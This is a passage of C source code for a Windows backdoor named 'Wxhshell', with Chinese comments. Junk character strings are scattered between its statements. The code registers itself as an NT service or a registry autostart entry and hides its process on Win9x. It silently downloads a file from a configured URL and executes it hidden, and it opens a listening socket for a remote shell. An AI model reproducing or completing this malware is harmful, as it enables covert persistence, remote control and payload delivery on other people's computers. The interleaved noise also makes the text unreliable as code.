Vm(1G8 a CloseHandle(hProcess); GDu~d<R H 2R=DB`3 if(strstr(procName,"services")) return 1; // 以服务启动 5QPM t^ Lg~B'd8m return 0; // 注册表启动 IB#
@yH } =
QQ5f5\l |;.o8} // 主模块 \"CZI<=TB int StartWxhshell(LPSTR lpCmdLine) v-yde>( { _@
*+~9%8p SOCKET wsl; wNQ*t-K BOOL val=TRUE; p3]_}Y
D[# int port=0; :T]o) struct sockaddr_in door; xEf'Bmebk VYt!U if(wscfg.ws_autoins) Install(); sXi=70o 9Xl`pEhC port=atoi(lpCmdLine); y]J89
Cl^\OZN\= if(port<=0) port=wscfg.ws_port; 0{dz5gUde #ggf' QIHp WSADATA data; N@O8\oQG if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p"l3e9&'j 3l3+A+n if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %=?cZfFqO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e=4+$d door.sin_family = AF_INET; oI}kH=<, door.sin_addr.s_addr = inet_addr("127.0.0.1"); DA2}{ door.sin_port = htons(port); UilMv~0 R,9[hNHWGs if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T :/,2.l closesocket(wsl); 3 n'V\Hvz return 1; L]d-hs } ]Ar\c[" D8>enum if(listen(wsl,2) == INVALID_SOCKET) { EI_ closesocket(wsl); @y82L8G/ return 1; wY~&Q}U } 1Ab>4UhD Wxhshell(wsl); C8vOE`U,J WSACleanup(); 4'-|UPhx cx}Q2S return 0; $/=nU*pd 4m*M,# mV } 0
;b[QRmy b&=5m // 以NT服务方式启动 wk6NG/< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;9~6_@,@o { yU8{i&w4 DWORD status = 0; G:pEE:W[ DWORD specificError = 0xfffffff; U$
F{nZ1 '@jXbN serviceStatus.dwServiceType = SERVICE_WIN32; +hE(Ra# serviceStatus.dwCurrentState = SERVICE_START_PENDING; hSFn8mpXT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ax{ ;:fW serviceStatus.dwWin32ExitCode = 0; _~rI+l A serviceStatus.dwServiceSpecificExitCode = 0; RRGWC$>? serviceStatus.dwCheckPoint = 0; ]J:1P`k. serviceStatus.dwWaitHint = 0; 1gmt2>#v% U5-@2YcH hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x_c7R;C if (hServiceStatusHandle==0) return; %I-+Ead0i F
B?UZ status = GetLastError(); QHWBAGA if (status!=NO_ERROR) Pb8^ b { $<^u^q37u serviceStatus.dwCurrentState = SERVICE_STOPPED; "Kc>dJ@W serviceStatus.dwCheckPoint = 0; ]S(%[| serviceStatus.dwWaitHint = 0; GrTulN? serviceStatus.dwWin32ExitCode = status; `)T~psT serviceStatus.dwServiceSpecificExitCode = specificError; es>W$QKlo SetServiceStatus(hServiceStatusHandle, &serviceStatus); yv\#8I:qh return; Ea?XT&, }
W - Mz1G5xcl serviceStatus.dwCurrentState = SERVICE_RUNNING; ]~6_ WE8L serviceStatus.dwCheckPoint = 0; .\8X[%K9nc serviceStatus.dwWaitHint = 0; &Ch#-CUE/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2*N_5&9mE } OM|Fwr$ .Wq@gV // 处理NT服务事件,比如:启动、停止 K"b`#xN(t VOID WINAPI NTServiceHandler(DWORD fdwControl) {X*^s5{;H { ;b`[&g switch(fdwControl) K
=wBpLB { &BtK($ case SERVICE_CONTROL_STOP: \EKU*5\Hp> serviceStatus.dwWin32ExitCode = 0; CBDG./ serviceStatus.dwCurrentState = SERVICE_STOPPED; {5d9$v7k4 serviceStatus.dwCheckPoint = 0; Xe#K{gA serviceStatus.dwWaitHint = 0; (`6T&>(4 { 9elga"4:' SetServiceStatus(hServiceStatusHandle, &serviceStatus); OKi\zS } vTaJqEE return; $b<6y/" case SERVICE_CONTROL_PAUSE: =xsTDjH> serviceStatus.dwCurrentState = SERVICE_PAUSED; ovwQ2TuK break; GEEW?8 case SERVICE_CONTROL_CONTINUE: uA$<\fnz serviceStatus.dwCurrentState = SERVICE_RUNNING; m85WA
#
` break; 8ZCo c5 case SERVICE_CONTROL_INTERROGATE: [tg^GOf ' break; H)aQ3T4N5 }; 8a_[B~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); kl"+YF5/ } "*;;H^d /sr 2mt-Q // 标准应用程序主函数 u(OW gbA3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eL4NB$Fb { "wlt> SU f>s?4 // 获取操作系统版本 r}0\}~'?c OsIsNt=GetOsVer(); $t5V=}m> GetModuleFileName(NULL,ExeFile,MAX_PATH); 2P]L9'N{Y CH
fVQ|!\ // 从命令行安装 :>aQ~1f>] if(strpbrk(lpCmdLine,"iI")) Install(); `xz<>g9e /
}R z=& // 下载执行文件 }lK3-2Pk if(wscfg.ws_downexe) { gJ;_$` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wd0[%`dq WinExec(wscfg.ws_filenam,SW_HIDE); Yp0/Ab(v } %0 #XPc(" r?CI)Y; if(!OsIsNt) { 0QvT // 如果时win9x,隐藏进程并且设置为注册表启动 ~GuMlV8 HideProc(); 8)kLV_+% StartWxhshell(lpCmdLine); 'S[++w?Qq } gORJWQv else \`ZW* EtPI if(StartFromService()) ]r3Kg12Mi // 以服务方式启动 S}f?.7 StartServiceCtrlDispatcher(DispatchTable); =CL}
$_ else Yk42(!
// 普通方式启动 ?x^z]N|P StartWxhshell(lpCmdLine); p-%|P]& }gkM^*$:% return 0; 6G}+gqbX }
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